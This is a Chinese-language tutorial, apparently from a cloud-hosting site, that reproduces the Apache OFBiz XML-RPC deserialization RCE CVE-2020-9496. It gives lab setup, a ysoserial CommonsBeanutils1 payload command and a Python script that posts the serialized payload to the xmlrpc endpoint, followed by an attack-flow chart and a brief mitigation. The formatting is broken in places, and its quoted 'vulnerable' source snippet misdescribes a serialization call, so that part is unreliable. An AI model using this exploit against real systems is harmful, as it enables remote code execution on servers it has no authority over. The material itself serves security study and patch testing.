您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 怎样实现Apache Ofbiz XMLRPC RCE漏洞CVE-2020-9496的复现
## 前言
Apache OFBiz(Open For Business)是一个开源的企业资源规划(ERP)系统,提供了一套完整的企业级应用框架。2020年曝光的CVE-2020-9496漏洞影响了Apache OFBiz的XML-RPC组件,攻击者可通过构造恶意请求实现远程代码执行(RCE)。本文将详细分析该漏洞原理,并提供完整的复现过程。
---
## 一、漏洞概述
### 1.1 漏洞基本信息
- **漏洞编号**:CVE-2020-9496
- **漏洞类型**:反序列化漏洞 → 远程代码执行
- **影响版本**:Apache OFBiz < 17.12.06
- **CVSS评分**:9.8(Critical)
- **漏洞组件**:`org.apache.ofbiz.service.xmlrpc.XmlRpcClient`
### 1.2 漏洞原理
漏洞源于OFBiz的XML-RPC服务在处理请求时未对输入数据进行严格的反序列化安全检查。攻击者可通过构造包含恶意序列化数据的XML-RPC请求,触发服务器端Java反序列化链,最终实现任意代码执行。
---
## 二、环境搭建
### 2.1 实验环境要求
- **靶机环境**:
- 操作系统:Ubuntu 20.04 LTS
- 软件版本:Apache OFBiz 17.12.05(漏洞版本)
- Java环境:OpenJDK 8
- **攻击机环境**:
- Kali Linux 2023
- Python 3 + 相关漏洞利用工具
### 2.2 靶机部署步骤
1. 下载漏洞版本OFBiz:
```bash
wget https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.05.zip
unzip apache-ofbiz-17.12.05.zip
cd apache-ofbiz-17.12.05
./gradlew cleanAll loadAll ofbiz
通过发送恶意XML-RPC请求验证服务是否可解析序列化数据:
import requests
import xmlrpc.client
target = "https://192.168.1.100:8443/webtools/control/xmlrpc"
proxy = xmlrpc.client.ServerProxy(target, verbose=True)
# 尝试调用系统方法
try:
print(proxy.system.listMethods())
except Exception as e:
print(f"Error: {e}")
若返回java.io.Serializable
相关错误,说明存在反序列化点。
使用ysoserial工具生成CommonsBeanutils1链的Payload:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/poc_success" > payload.ser
通过Python发送包含序列化数据的XML-RPC请求:
import requests
import base64
url = "https://192.168.1.100:8443/webtools/control/xmlrpc"
headers = {"Content-Type": "application/xml"}
with open("payload.ser", "rb") as f:
payload = base64.b64encode(f.read()).decode()
xml_data = f"""<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{payload}</serializable>
</value>
</param>
</params>
</methodCall>"""
response = requests.post(url, data=xml_data, headers=headers, verify=False)
print(response.text)
登录靶机检查命令是否执行:
ls -la /tmp/poc_success
漏洞位于XmlRpcClient.java
的处理逻辑中:
public Object execute(String methodName, Object[] params) {
// ...
if (params[i] instanceof Serializable) {
serializer.writeObject(params[i]); // 危险的反序列化点
}
}
Serializable
对象的请求ObjectInputStream
解析数据PropertyUtils.getProperty()
被触发<!-- 在ofbiz-component.xml中禁用XML-RPC -->
<service-group name="webtools">
<service name="xmlrpc" mode="disabled"/>
</service-group>
漏洞利用限制:
webtools
组件暴露在外网渗透测试建议:
graph LR
A[端口扫描] --> B[识别OFBiz版本]
B --> C{版本<17.12.06?}
C -->|Yes| D[尝试XML-RPC请求]
C -->|No| E[放弃]
延伸学习:
本文仅用于安全研究学习,未经授权不得对真实系统进行测试。 “`
注:实际复现时需注意: 1. 替换示例中的IP地址为实际靶机地址 2. 根据目标环境调整Payload(如命令注入方式) 3. 建议在隔离环境测试
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。